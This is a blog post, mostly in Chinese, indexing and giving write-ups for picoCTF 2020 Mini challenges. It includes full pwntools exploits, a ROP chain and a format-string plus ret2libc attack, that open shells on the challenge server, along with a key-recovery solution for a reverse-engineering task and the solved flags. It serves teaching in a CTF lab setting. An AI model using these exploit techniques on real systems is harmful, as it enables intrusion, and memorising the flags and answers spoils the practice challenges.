2020 - 10

picoCTF 2020mini 总结和wp索引

总结

picoCTF 2020mini Competition 在10/1开始,10/30结束
本次比赛是由美国卡内基梅隆大学(CMU)主办的一个面向美国初高中生的比赛,但是全球所有人都可以参加,虽说面向初高中,但这难度我感觉应该不止高中,属于中等难度吧
比赛由谷歌赞助,应该是有奖品的
全球参赛人数4822,完成全部6道挑战题的有50个人
我到21号才发现的,出于好奇就试了下题目,做完感觉就是坑不多,但知识点覆盖的还是相对可以的(肯定没法大规模覆盖,一共就6道题)
由于发现晚了,等我开始的时候已经好多人都结束了,我做完后也就只拿了个48名,还是有点可惜。。。

题目分析和write up索引

Nothing Up My Sleeve

分类:General Skills
这道题真的是送分题,就不给wp了,因为太简单了
题目描述中有一个附件flag.txt,下载下来就是flag了

Pitter, Patter, Platters

分类:Forensics
完成情况:320 solves / 1,825 attempts (18%)
这道题考的是取证,其实也很简单,所以也没wp
主要就是让大家了解下取证思想
简单的来说就是用autospy打开来分析后发现有个文件是包含提示信息的,然后根据提示信息用hex软件搜索下就找到flag了
具体wp也有一个推荐(英文版):https://medium.com/@xploiter/pitter-patter-platters-picoctf2020-writeup-fe30a45b5f5c

Web Gauntlet

分类:Web Exploitation
完成情况:414 solves / 746 attempts (55%)
这道题考的是sql注入,有意思的是,需要注入5轮,并且每轮的对注入字符的要求都会越来越严格(会有越来越多的字符被禁止使用)
wp(英文版):https://frc6.com/index.php/archives/42/
wp(中文版):TODO

OTP Implementation

分类:Reverse Engineering
完成情况:163 solves / 853 attempts (19%)
这道题考的是逆向,主要就是要反汇编然后分析算法下,然后找出输入的key
我用的方法比较笨,用了在部分地方用了穷举,我是想不出直接逆向过来的办法,有大佬有办法的话告诉我下非常感谢
wp(英文版):https://frc6.com/index.php/archives/39/
wp(中文版):https://frc6.com/index.php/archives/68/

Gussing Exploitation 1

分类:Binary Exploitation
完成情况:152 solves / 1,156 attempts (13%)
这道题考的通过栈溢出攻击来劫持eip,然后构造ROP链进入shell
wp(英文版):https://frc6.com/index.php/archives/45/
wp(中文版):https://frc6.com/index.php/archives/69/

Gussing Exploitation 2

分类:Binary Exploitation
完成情况:89 solves / 398 attempts (22%)
这道题和上道题一样也是考的通过栈溢出攻击来劫持eip,目的也是进入shell,但是不能使用ROP链了,因为找不到,system的Gadget了,所以采用ret2libc的办法。
覆盖的知识也很多:需要利用格式化字符串漏洞来从栈中泄露canary,再泄露GOT表地址,利用GOT表找到并泄露函数地址,然后用泄露的函数地址确定libc库版本(泄露libc库版本),然后找动态加载的libc基地址,最终算出system/bin/sh的地址,再通过栈溢出漏洞来调用system('/bin/sh')
当然,这只是我用的方法,还有很多别的方法,欢迎交流
wp(英文版):https://frc6.com/index.php/archives/49/
wp(中文版):TODO

最后

英文版write-up也可以再Github找到,喜欢可以加星(谢谢):https://github.com/Dvd848/CTFs/tree/master/2020_picoCTF_Mini

谢谢阅读

Guessing Game 1 wp (Chinese ver.)

picoCTF - 2020 - Guessing Game 1 write-up

前言

新手可能不清楚pwn是什么

”Pwn”是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。
——百度百科

简单的说,就是想办法入侵远程服务器,通常以进入shell为目的
本题适合了解程序运行原理的ctf新手(至少得知道为什么返回地址在栈里面)(不了解的话能看懂这篇也了解了,可以接着往下看,遇到不懂的马上搜)
学汇编推荐王爽的汇编语言,虽然是16位dos(我就是用这个学的基础)
里面遇到了不懂的名词(例如ROP,Gadgets)都可以直接百度搜,本writeup更多的是给出方向防止走弯路

题目

来源

https://play.picoctf.org/practice/challenge/90?originalEvent=3&page=1

描述

I made a simple game to show off my programming skills. See if you can beat it!
Gussing Game 1.zip
nc jupiter.challenges.picoctf.org 28953

工具

IDA
VM - Kali Linux
Python
ROPgadget

分析

知识点

Binary Exploitation
Return-oriented programming (ROP)
分析一下,这个题目的目的是要在远程服务器上执行 execve("/bin/sh",NULL,NULL)
由于checksec发现nx被启用了,所以打消用shellcode的想法吧
(栈不可执行)
简单分析下,发现可以构造Gadgets链来做ROP

漏洞

分析 vuln.c 后发现存在 栈溢出 漏洞:

void win() {
    char winner[BUFSIZE];
    printf("New winner!\nName? ");
    fgets(winner, 360, stdin);//overflow vuln
    printf("Congrats %s\n\n", winner);
}

我们需要利用漏洞来栈溢出,这样我们就能劫持 eip 的控制权了

Gadgets

利用ROPgadget找到Gadgets来构造链

运行以下命令

ROPgadget --binary vuln --only "pop|ret"
ROPgadget --binary vuln --only "mov|ret"
ROPgadget --binary vuln --only "syscall|ret"

我们的目标是执行execve("/bin/sh",NULL,NULL)
所以发现以下有用的gadgets:

0x00000000004163f4 : pop rax ; ret
0x000000000044a6b5 : pop rdx ; ret
0x0000000000400696 : pop rdi ; ret
0x0000000000436393 : mov qword ptr [rdi], rdx ; ret
0x000000000044cc49 : pop rdx ; pop rsi ; ret
0x000000000040137c : syscall

反汇编

do_stuff()

在第一次猜数字中输入 "84" (只要输入正确一次就能进入win()函数了)

Q: 为什么是 "84"
A: 我们可以利用动态调试器 (IDA debugger 或 GDB) :
我是使用IDA的远程调试功能连接了vmware虚拟机进行调试的
在这里设置一个断点:

.text:0000000000400BBC                 mov     [rbp+var_ans], rax

我们会发现 rax 将会等于84

win()

.text:0000000000400C40                 public win
.text:0000000000400C40 win             proc near               ; CODE XREF: main+70↓p
.text:0000000000400C40
.text:0000000000400C40 winner          = byte ptr -70h
.text:0000000000400C40
.text:0000000000400C40 ; __unwind {
.text:0000000000400C40                 push    rbp
.text:0000000000400C41                 mov     rbp, rsp
.text:0000000000400C44                 sub     rsp, 70h
.text:0000000000400C48                 lea     rdi, aNewWinnerName ; "New winner!\nName? "
.text:0000000000400C4F                 mov     eax, 0
.text:0000000000400C54                 call    printf
.text:0000000000400C59                 mov     rdx, cs:stdin
.text:0000000000400C60                 lea     rax, [rbp+winner]
.text:0000000000400C64                 mov     esi, 168h
.text:0000000000400C69                 mov     rdi, rax
.text:0000000000400C6C                 call    fgets
.text:0000000000400C71                 lea     rax, [rbp+winner]
.text:0000000000400C75                 mov     rsi, rax
.text:0000000000400C78                 lea     rdi, aCongratsS ; "Congrats %s\n\n"
.text:0000000000400C7F                 mov     eax, 0
.text:0000000000400C84                 call    printf
.text:0000000000400C89                 nop
.text:0000000000400C8A                 leave
.text:0000000000400C8B                 retn
.text:0000000000400C8B ; } // starts at 400C40
.text:0000000000400C8B win             endp

函数的返回地址被储存在 rbp+8, 所以通过栈溢出来覆盖(重写)它就可以达到劫持 eip 的目标

ROP: Gadgets

我们计划在劫持eip(win()返回后)执行以下汇编(组成以下的Gadgets链)

ret        (retn of win() at .text:0000000000400C8B)
pop rax
ret
pop rdx
ret
pop rdi
ret
mov qword ptr [rdi], rdx
ret
pop rdx
pop rsi
ret
syscall

为了成功执行 execve("/bin/sh",NULL,NULL) , rax 得在 syscall 执行时等于 59 , rdi 应该是一个指向字符串 "/bin/sh" 的指针, rsirdx 应该等于 0 (NULL).

所以我们计划让栈变成这样:

rbp+8                0x00000000004163f4                        Address of one of Gadget
rbp+10h                59                                        rax
rbp+18h                0x000000000044a6b5                        Address of one of Gadget                        
rbp+20h                "/bin/sh"                                rdx (temporary use; will be overwrite later)
rbp+28h                0x0000000000400696                        Address of one of Gadget
rbp+30h                0x00000000006BA770                        rdi
rbp+38h                0x0000000000436393                        Address of one of Gadget
rbp+40h                0x000000000044cc49                        Address of one of Gadget
rbp+48h                0                                        rdx
rbp+50h                0                                        rsi
rbp+58h                0x000000000040137c                        syscall

远程执行来找Flag: Python

运行以下的python程序(你需要pwntools库):

from pwn import *

sh = remote('jupiter.challenges.picoctf.org',50583)

p = make_packer('all', endian='big', sign='unsigned')
p64 = make_packer(64, endian='little', sign='unsigned')

payload = p(0x90)*(0x70+8)        #rbp-70h
payload += p64(0x4163f4)        #rbp+8h
payload += p64(59)                        #rbp+10h
payload += p64(0x44a6b5)        #rbp+18h
payload += p(0x2F62696E2F736800)        #rbp+20h
payload += p64(0x400696)        #rbp+28h
payload += p64(0x6BA770)        #rbp+30h
payload += p64(0x436393)        #rbp+38h
payload += p64(0x44cc49)        #rbp+40h
payload += p64(0)                        #rbp+48h
payload += p64(0)                        #rbp+50h
payload += p64(0x40137c)        #rbp+58h

sh.recvuntil('guess?\n')
sh.sendline(p(0x3834))#84

sh.recvuntil('\nName? ')
sh.sendline(payload)

sh.interactive()

result.png

所以Flag是 picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_1ed68bc5575f6be1}

最后的话

谢谢阅读!(欢迎交流)

OTP Implementation wp (Chinese ver.)

picoCTF - 2020 - otp write-up

前言

picoCTF是美国CMU大学举办的面向高中生的CTF竞赛,应该算是初学者水平的题。前几天做了里面的一道题感觉出的挺好的,也不算很难,有点小坑但不多。

题目来源和下载

来源:https://play.picoctf.org/events/3/challenges/challenge/92
好像每个人的下载后的文件都会不一样
我的文件(otp 和 flag.txt):otp.zip

工具

IDA Pro

分析

查壳

无壳

key 正确的条件

以下代码说明key必须要满足这两个条件:

  • length ([rbp+var_E8]) 等于 100
  • s1 等于 s2 ("mngjlepdcbcmjmmjipmmegfkjbicaemoemkkpjgnhgomlknmoepmfbcoffikhplmadmganmlojndmfahbhaancamdhfdkiancdjf")

In Disassembly,

.text:0000557E7FE4E99D                 cmp     [rbp+var_E8], 64h ; 'd'
.text:0000557E7FE4E9A4                 jnz     short loc_557E7FE4E9C6 ; if ( i == 100
.text:0000557E7FE4E9A4                                         ; line 35
.text:0000557E7FE4E9A6                 mov     eax, [rbp+var_E8] ;       && !strncmp(
.text:0000557E7FE4E9A6                                         ;             s1,
.text:0000557E7FE4E9A6                                         ;             "mngjlepdcbcmjmmjipmmegfkjbicaemoemkkpjgnhgomlknmoepmfbcoffikhplmadmganmlojndmfahbhaancamdhfdkiancdjf",
.text:0000557E7FE4E9A6                                         ;             0x64uLL) )
.text:0000557E7FE4E9A6                                         ; line 36-39
.text:0000557E7FE4E9AC                 movsxd  rdx, eax        ; n = i = [rbp+var_E8]
.text:0000557E7FE4E9AF                 lea     rax, [rbp+s1]
.text:0000557E7FE4E9B3                 lea     rsi, s2         ; "mngjlepdcbcmjmmjipmmegfkjbicaemoemkkpjg"...
.text:0000557E7FE4E9BA                 mov     rdi, rax        ; s1
.text:0000557E7FE4E9BD                 call    _strncmp        ; test if s1 equal s2
.text:0000557E7FE4E9C2                 test    eax, eax
.text:0000557E7FE4E9C4                 jz      short loc_557E7FE4E9D9 ; if i = 100 and s1 = s2,then key is correct

In Pseudocode,

if ( i == 100
  && !strncmp(
        s1,
        "mngjlepdcbcmjmmjipmmegfkjbicaemoemkkpjgnhgomlknmoepmfbcoffikhplmadmganmlojndmfahbhaancamdhfdkiancdjf",
        0x64uLL) )

分析算法 (输入: dest; 输出: s1)

分析从 0000557E7FE4E89E 到 0000557E7FE4E99B 的汇编

In Disassembly,

.text:0000557E7FE4E89E ; ---------------------------------------------------------------------------
.text:0000557E7FE4E89E
.text:0000557E7FE4E89E loc_557E7FE4E89E:                       ; CODE XREF: main+14A↓j
.text:0000557E7FE4E89E                 cmp     [rbp+var_E8], 0 ; if ( i )
.text:0000557E7FE4E89E                                         ; line 21
.text:0000557E7FE4E8A5                 jnz     short loc_557E7FE4E8E4
.text:0000557E7FE4E8A7                 mov     eax, [rbp+var_E8] ; when i equal 0
.text:0000557E7FE4E8A7                                         ; line 30
.text:0000557E7FE4E8AD                 cdqe
.text:0000557E7FE4E8AF                 movzx   eax, [rbp+rax+dest]
.text:0000557E7FE4E8B7                 movsx   eax, al
.text:0000557E7FE4E8BA                 mov     edi, eax
.text:0000557E7FE4E8BC                 call    jumble
.text:0000557E7FE4E8C1                 mov     edx, eax
.text:0000557E7FE4E8C3                 mov     eax, edx
.text:0000557E7FE4E8C5                 sar     al, 7
.text:0000557E7FE4E8C8                 shr     al, 4
.text:0000557E7FE4E8CB                 add     edx, eax
.text:0000557E7FE4E8CD                 and     edx, 0Fh
.text:0000557E7FE4E8D0                 sub     edx, eax
.text:0000557E7FE4E8D2                 mov     eax, edx
.text:0000557E7FE4E8D4                 mov     edx, eax
.text:0000557E7FE4E8D6                 mov     eax, [rbp+var_E8]
.text:0000557E7FE4E8DC                 cdqe
.text:0000557E7FE4E8DE                 mov     [rbp+rax+s1], dl
.text:0000557E7FE4E8E2                 jmp     short loc_557E7FE4E935
.text:0000557E7FE4E8E4 ; ---------------------------------------------------------------------------
.text:0000557E7FE4E8E4
.text:0000557E7FE4E8E4 loc_557E7FE4E8E4:                       ; CODE XREF: main+97↑j
.text:0000557E7FE4E8E4                 mov     eax, [rbp+var_E8] ; when i not equal 0
.text:0000557E7FE4E8E4                                         ; line 23-26
.text:0000557E7FE4E8EA                 cdqe
.text:0000557E7FE4E8EC                 movzx   eax, [rbp+rax+dest]
.text:0000557E7FE4E8F4                 movsx   eax, al
.text:0000557E7FE4E8F7                 mov     edi, eax        ; edi = dest[i]
.text:0000557E7FE4E8F9                 call    jumble          ; line 23
.text:0000557E7FE4E8FE                 movsx   edx, al
.text:0000557E7FE4E901                 mov     eax, [rbp+var_E8]
.text:0000557E7FE4E907                 sub     eax, 1
.text:0000557E7FE4E90A                 cdqe
.text:0000557E7FE4E90C                 movzx   eax, [rbp+rax+s1]
.text:0000557E7FE4E911                 movsx   eax, al         ; eax = s1[i-1]
.text:0000557E7FE4E914                 add     edx, eax        ; edx = v5
.text:0000557E7FE4E914                                         ; line 24
.text:0000557E7FE4E916                 mov     eax, edx
.text:0000557E7FE4E918                 sar     eax, 1Fh
.text:0000557E7FE4E91B                 shr     eax, 1Ch        ; line 25
.text:0000557E7FE4E91E                 add     edx, eax
.text:0000557E7FE4E920                 and     edx, 0Fh
.text:0000557E7FE4E923                 sub     edx, eax        ; line 26
.text:0000557E7FE4E925                 mov     eax, edx
.text:0000557E7FE4E927                 mov     edx, eax
.text:0000557E7FE4E929                 mov     eax, [rbp+var_E8]
.text:0000557E7FE4E92F                 cdqe
.text:0000557E7FE4E931                 mov     [rbp+rax+s1], dl ; [rbp+rax+s1] = s1[i]
.text:0000557E7FE4E935
.text:0000557E7FE4E935 loc_557E7FE4E935:                       ; CODE XREF: main+D4↑j
.text:0000557E7FE4E935                 add     [rbp+var_E8], 1 ; ++i
.text:0000557E7FE4E93C
.text:0000557E7FE4E93C loc_557E7FE4E93C:                       ; CODE XREF: main+8B↑j
.text:0000557E7FE4E93C                 mov     eax, [rbp+var_E8] ; for ( i = 0; (unsigned int)valid_char(dest[i]); ++i )
.text:0000557E7FE4E93C                                         ; line 19-32
.text:0000557E7FE4E942                 cdqe
.text:0000557E7FE4E944                 movzx   eax, [rbp+rax+dest]
.text:0000557E7FE4E94C                 movsx   eax, al
.text:0000557E7FE4E94F                 mov     edi, eax        ; edi = dest[i]
.text:0000557E7FE4E951                 call    valid_char      ; valid_char(dest[i])
.text:0000557E7FE4E956                 test    eax, eax
.text:0000557E7FE4E958                 jnz     loc_557E7FE4E89E
.text:0000557E7FE4E95E                 mov     [rbp+var_E4], 0 ; j
.text:0000557E7FE4E968                 jmp     short loc_557E7FE4E98F
.text:0000557E7FE4E96A ; ---------------------------------------------------------------------------
.text:0000557E7FE4E96A
.text:0000557E7FE4E96A loc_557E7FE4E96A:                       ; CODE XREF: main+18D↓j
.text:0000557E7FE4E96A                 mov     eax, [rbp+var_E4]
.text:0000557E7FE4E970                 cdqe
.text:0000557E7FE4E972                 movzx   eax, [rbp+rax+s1]
.text:0000557E7FE4E977                 add     eax, 61h ; 'a'
.text:0000557E7FE4E97A                 mov     edx, eax
.text:0000557E7FE4E97C                 mov     eax, [rbp+var_E4]
.text:0000557E7FE4E982                 cdqe
.text:0000557E7FE4E984                 mov     [rbp+rax+s1], dl
.text:0000557E7FE4E988                 add     [rbp+var_E4], 1
.text:0000557E7FE4E98F
.text:0000557E7FE4E98F loc_557E7FE4E98F:                       ; CODE XREF: main+15A↑j
.text:0000557E7FE4E98F                 mov     eax, [rbp+var_E4] ; for ( j = 0; j < i; ++j )
.text:0000557E7FE4E98F                                         ; line 33-34
.text:0000557E7FE4E995                 cmp     eax, [rbp+var_E8]
.text:0000557E7FE4E99B                 jl      short loc_557E7FE4E96A

In Pseudocode,

for ( i = 0; (unsigned int)valid_char(dest[i]); ++i )// test if dest[i] is 1-9 or a-f
{
  if ( i )
  {
    v4 = jumble(dest[i]);
    v5 = s1[i - 1] + v4;
    v6 = (unsigned int)((s1[i - 1] + v4) >> 31) >> 28;
    s1[i] = ((v6 + v5) & 0xF) - v6;
  }
  else
  {
    s1[0] = (char)jumble(dest[0]) % 16;
  }
}
for ( j = 0; j < i; ++j )
  s1[j] += 97;

通过分析得知输入为dest,输出为s1
接下来就可以在制作逆向算法时直接把部分以上算法直接复制进去用于穷举了。

求 Key [Java Code (Reversely:s2 => s1 => dest)] (关键部分)

写出Java代码:通过已知的s1(也就是s2)求出dest(正确的key)

求 dest[0]

s2[0] = "m" = 109
s1[0] = s2[0] - 97 = 12

输出所有可能的s1[0]
寻找当s1[0]等于12时,dest[0]的值

public static void main(String[] args)
{
        System.out.println("dest[0]|s1[0]"); 
        int[] a1s = {48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102};
        for(int i = 0; i < 16; i++)
        {
            System.out.println(a1s[i] + "|" +jumble(a1s[i]) % 16);                   
        }
}
    
public static int jumble(int a1)
{
        int v2 = a1;
        if ( a1 > 96 )                                // a-f
            v2 = a1 + 9;                                // j-o
        int v3 = 2 * (v2 % 16);
        if ( (char)v3 > 15 )
            ++v3;
        return v3;
}

Output:

dest[0]|s1[0]
48|0
49|2
50|4
51|6
52|8
53|10
54|12
55|14
56|1
57|3
97|5
98|7
99|9
100|11
101|13
102|15

结论:当 dest[0] 等于 54 (char “6”), s1[0] 等于 12.

Find dest[1]

s2[1] = "n" = 110

输出所有可能的s1[1]
寻找当s1[1]等于110时,dest[1]的值

public static void main(String[] args)
{
        s1[0] = 12;
        System.out.println("dest[1]|s1[1]"); 
        int[] a1s = {48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102};
        for(int i = 0; i < 16; i++)
        {
                getMS1IndexNotEqual0(a1s[i],1);
                System.out.println(a1s[i] + "|" +s1[1]);                   
        }
}

static int[] s1 = new int[100];

//find dest[not equal 0]
//mD = dest[i]
public static int getMS1IndexNotEqual0(int mD, int i)
{
        if(i == 0)
        {
                return -1;
        }
        int v4 = jumble(mD);
        int v5 = s1[i - 1] + v4;
        int v6 = (v5 >> 31) >>> 28;
        s1[i] = ((v6 + v5) & 0xF) - v6;
        s1[i] += 97;
        return s1[i];
}
    
public static int jumble(int a1)
{
        int v2 = a1;
        if ( a1 > 96 )                                // a-f
            v2 = a1 + 9;                                // j-o
        int v3 = 2 * (v2 % 16);
        if ( (char)v3 > 15 )
            ++v3;
        return v3;
}

Output:

dest[1]|s1[1]
48|109
49|111
50|97
51|99
52|101
53|103
54|105
55|107
56|110
57|112
97|98
98|100
99|102
100|104
101|106
102|108

结论:当 dest[1] 等于 56 (char “8”), s1[1] 等于 110.

通过编程自动求 dest[1-100] (dest[1] - dest[100])

public static void auto()
{
        s1[0] = 12;
        String s2 = "mngjlepdcbcmjmmjipmmegfkjbicaemoemkkpjgnhgomlknmoepmfbcoffikhplmadmganmlojndmfahbhaancamdhfdkiancdjf";
        char[] a1s = {48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102};
        boolean hasResult = false;
        for(int i2 = 1; i2 < 100; i2++)
        {
                hasResult = false;
            for(int i = 0; i < 16; i++)
            {
                    int s1Add97 = getMS1IndexNotEqual0(a1s[i],i2);
                    if(s2.charAt(i2) == (char)s1Add97)
                    {
                            hasResult = true;
                            System.out.print(a1s[i]);
                            break;
                    }
                    
            }
            if(hasResult == false)
                    System.out.println("NO");
        }
}

static int[] s1 = new int[100];

//find dest[not equal 0]
//mD = dest[i]
public static int getMS1IndexNotEqual0(int mD, int i)
{
        if(i == 0)
        {
                return -1;
        }
        int v4 = jumble(mD);
        int v5 = s1[i - 1] + v4;
        int v6 = (v5 >> 31) >>> 28;
        s1[i] = ((v6 + v5) & 0xF) - v6;
        //s1[i] += 97;
        return (s1[i]+97);
}

Output:

8c91cd2ff85e90efbe041faf4b572413470a5eb5f47ff9f13dec686b091e46829c55eff9d23ccdb53c0ea76b277b74ea836

dest结论

第一字符是 "6",
所以完整的dest是 "68c91cd2ff85e90efbe041faf4b572413470a5eb5f47ff9f13dec686b091e46829c55eff9d23ccdb53c0ea76b277b74ea836",也就是key

测试 key

congrats.png

求最终 Flag

逆向得知key是 "68c91cd2ff85e90efbe041faf4b572413470a5eb5f47ff9f13dec686b091e46829c55eff9d23ccdb53c0ea76b277b74ea836"
flag.txt中的内容是 "18a07fbdbcd1af759895328ec4d82d2b411dc7876c34a0ab61eda8f2efa5bb0f198a3aa0ac47ff9a0cf3d913d3138678ce4b"
异或这两个值,得到 "7069636f4354467b63757374306d5f6a756d626c33735f3472336e745f345f67304f645f316433415f33336561643136667d"

将异或的结果 ("7069636f4354467b63757374306d5f6a756d626c33735f3472336e745f345f67304f645f316433415f33336561643136667d") 从十六进制转成ASCII, 得到 "picoCTF{cust0m_jumbl3s_4r3nt_4_g0Od_1d3A_33ead16f}", 也就是最终的Flag

java code

public static void main (String[] args) {
        String str1 = "68c91cd2ff85e90efbe041faf4b572413470a5eb5f47ff9f13dec686b091e46829c55eff9d23ccdb53c0ea76b277b74ea836";
        String str2 = "18a07fbdbcd1af759895328ec4d82d2b411dc7876c34a0ab61eda8f2efa5bb0f198a3aa0ac47ff9a0cf3d913d3138678ce4b";
        String xorRes = doXor(str1,str2);
        String flag = hexToString(xorRes);
}

public static String doXor(String str1, String str2)
{
        String xorRes = StringXor(str1, str2);
        System.out.println(xorRes);
        return xorRes;
}

public static String StringXor(String str1, String str2) {
        BigInteger big1 = new BigInteger(str1, 16);
        BigInteger big2 = new BigInteger(str2, 16);
        return big1.xor(big2).toString(16);
        
}

public static String hexToString(String hex)
{
    byte[] s = DatatypeConverter.parseHexBinary(hex);
    String ret = new String(s);
    System.out.println(ret);
    return ret;
}

Output:

7069636f4354467b63757374306d5f6a756d626c33735f3472336e745f345f67304f645f316433415f33336561643136667d
picoCTF{cust0m_jumbl3s_4r3nt_4_g0Od_1d3A_33ead16f}

Gussing Game 2 wp (English ver.)

Question

Source

https://play.picoctf.org/events/3/challenges/challenge/89

Description

It's the Return of your favorite game!
Gussing Game 2.zip
nc jupiter.challenges.picoctf.org 13610

Tools

IDA
IDA remote linux debugger
vmware - kali linux
libc database search https://libc.blukat.me

Analysis

vuln

I found there is a vuln to do the buffer overflow attack and a format string vuln in win()

void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);//overflow
printf("Congrats: ");
printf(winner);//format string vuln
printf("\n\n");
}

checksec

checksec.png

find number of guess

local

Use IDA debugger to debug it and find the random number:
set a breakpoint at .text:080486A3
ida_rand.png
I found the value of eax is FFFFF9A1, which is equal to -1631

0xFFFFF9A1 xor 0xFFFFFFFF + 1 = 0x65E + 1 = 0x65F = 1631

local_rand.png

remote

Unfortunately, this is not the correct number in the remote server
remote_num_nope.png
I found the number could only in the range (-4094,4096) b/c the following code

long ans = (get_random() % 4096) + 1;

So try all possible number by using the following python code:

from pwn import *
sh = remote('jupiter.challenges.picoctf.org',13610)
for num in range(-4094,4096):
    sh.recvuntil('guess?\n')
    sh.sendline(str(num))
    print(str(num))
    ret = sh.recvuntil('\n\n')
    print(ret)
    if ret == 'Congrats! You win! Your prize is this print statement!\n\n':
        break

remote_num_correct.png

Now, I know the random number in the remote server is -31

leck canary

I found there is a canary, so I tried to leck it by taking advantage of format string vuln.
canary_ida.png
Set a breakpoint at .text:080487D3
bp_find_canary.png
ebp+canary = FFC8BC7C
canary.png
esp = FFC8BA60
the canary can be treated as the 135th parameter (not include the format) of printf

(0xFFC8BC7C - 0xFFC8BA60)/4 = 0x87 = 135

So, the canary can be 'leck'ed by input %135$p when it asking the winner's name.
leck_canary.png

python function to leck data in the stack

from pwn import *

sh = process('./vuln')
#sh = remote('jupiter.challenges.picoctf.org',13610)
# nc jupiter.challenges.picoctf.org 13610

guess_num = '-1631'
#guess_num = '-31'

p = make_packer('all', endian='big', sign='unsigned')

def leck_by_para_num(printf_para):
    global sh
    sh.recvuntil('guess?\n')
    sh.sendline(guess_num)
    sh.recvuntil('\nName? ')
    sh.sendline('%'+str(printf_para)+'$p')
    sh.recvuntil('Congrats: ')
    sh.recv(2)
    data = sh.recvuntil('\n\n')
    data = int(data,16)
    return data

Now, the canary can be gained by call leck_by_para_num(135)

# find canary
canary = leck_by_para_num(135)

Note

The remote server has a different libc version with local, so we have to found the libc version of remote server. Then we can find the address of system() and /bin/sh in the libc, so we can do the ret2libc attack.

find address of GOT (_GLOBAL_OFFSET_TABLE_)

Try to leck some address of function from GOT (_GLOBAL_OFFSET_TABLE_)

Still break at .text:080487D3
stack_got.png
esp = FFC8BA60

(0xFFC8BC4C - 0xFFC8BA60)/4 = 0x7B = 123

So, the address of GOT can be 'leck'ed by input %123$p when it asking the winner's name.
got.png

Also can be gained by call leck_by_para_num(123)

# find GOT
GOT = leck_by_para_num(123)

find address of functions in GOT

View the GOT disassembly view
got_ida.png
I choose gets and __libc_start_main symbols.
gets is at the 0x10 offset of GOT (GOT + 0x10)
__libc_start_main is at the 0x24 offset of GOT (GOT + 0x24)
So we have to leck the data by input address. We can take advantage format string vuln again by input something include %s.

python function to leck data by input address

def leck_by_address(address):
    global sh
    sh.recvuntil('guess?\n')
    sh.sendline(guess_num)
    sh.recvuntil('\nName? ')
    payload = p(0x2531302473)#char('%10$s')
    payload += p(0)*3
    payload += p(0)*4
    payload += p32(address)
    sh.sendline(payload)
    sh.recvuntil('Congrats: ')
    data = sh.recv(4)
    sh.recvuntil('\n\n')
    data = u32(data)
    return data

So, we can find address of __libc_start_main and gets function

# find address of __libc_start_main
addr___libc_start_main = leck_by_address(GOT + 0x24)
print(hex(addr___libc_start_main))

# find address of gets
addr_gets = leck_by_address(GOT + 0x10)
print(hex(addr_gets))

python: find address of __libc_start_main and gets function

Do the following code:

addr of functions in got.png

find libc version and address of system and str_bin_sh

https://libc.blukat.me/

Do libc database search

libc database search.png

So, the libc of remote server is libc6-i386_2.27-3ubuntu1.2_amd64

offset___libc_start_main = 0x018da0
offset_system = 0x03cd80
offset_str_bin_sh = 0x17bb8f

Given addr___libc_start_main and offset___libc_start_main, we can find the base address of libc, and, then, find addr_system and addr_str_bin_sh

base_address = addr___libc_start_main - offset___libc_start_main
addr_system = base_address + offset_system
addr_str_bin_sh = base_address + offset_str_bin_sh

ret2libc

stack overflow plan

ebp-0Ch        canary
ebp+4          addr_system
ebp+0Ch        addr_str_bin_sh

python: payload

payload = p(0x90)*(0x200)    #ebp-20Ch
payload += p32(canary)    #ebp-0Ch
payload += p32(0)    #ebp-8
payload += p32(0)    #ebp-4
payload += p32(0)    #ebp
payload += p32(addr_system)    #ebp+4
payload += p32(0xdeadbeef)    #ebp+8
payload += p32(addr_str_bin_sh)    #ebp+0Ch

sh.recvuntil('guess?\n')
sh.sendline(guess_num)
sh.recvuntil('\nName? ')
sh.sendline(payload)

sh.interactive()

Then we can access to shell by call system('/bin/sh')

get shell and find flag

Run the following python code:

from pwn import *

#sh = process('./vuln')
sh = remote('jupiter.challenges.picoctf.org',13610)
# nc jupiter.challenges.picoctf.org 13610

#guess_num = '-1631'
guess_num = '-31'

p = make_packer('all', endian='big', sign='unsigned')

def leck_by_para_num(printf_para):
    global sh
    sh.recvuntil('guess?\n')
    sh.sendline(guess_num)
    sh.recvuntil('\nName? ')
    sh.sendline('%'+str(printf_para)+'$p')
    sh.recvuntil('Congrats: ')
    sh.recv(2)
    data = sh.recvuntil('\n\n')
    data = int(data,16)
    return data


def leck_by_address(address):
    global sh
    sh.recvuntil('guess?\n')
    sh.sendline(guess_num)
    sh.recvuntil('\nName? ')
    payload = p(0x2531302473)#char('%10$s')
    payload += p(0)*3
    payload += p(0)*4
    payload += p32(address)
    sh.sendline(payload)
    sh.recvuntil('Congrats: ')
    data = sh.recv(4)
    sh.recvuntil('\n\n')
    data = u32(data)
    return data


# find canary
canary = leck_by_para_num(135)

# find GOT
GOT = leck_by_para_num(123)

# find address of __libc_start_main
addr___libc_start_main = leck_by_address(GOT + 0x24)

# libc is libc6-i386_2.27-3ubuntu1.2_amd64

# find address of system and str_bin_sh
offset___libc_start_main = 0x018da0
offset_system = 0x03cd80
offset_str_bin_sh = 0x17bb8f

base_address = addr___libc_start_main - offset___libc_start_main
addr_system = base_address + offset_system
addr_str_bin_sh = base_address + offset_str_bin_sh

# overflow

payload = p(0x90)*(0x200)    #ebp-20Ch
payload += p32(canary)    #ebp-0Ch
payload += p32(0)    #ebp-8
payload += p32(0)    #ebp-4
payload += p32(0)    #ebp
payload += p32(addr_system)    #ebp+4
payload += p32(0xdeadbeef)    #ebp+8
payload += p32(addr_str_bin_sh)    #ebp+0Ch

sh.recvuntil('guess?\n')
sh.sendline(guess_num)
sh.recvuntil('\nName? ')
sh.sendline(payload)

sh.interactive()

flag.png

So the flag is picoCTF{p0p_r0p_4nd_dr0p_1t_3c29990aa7386650}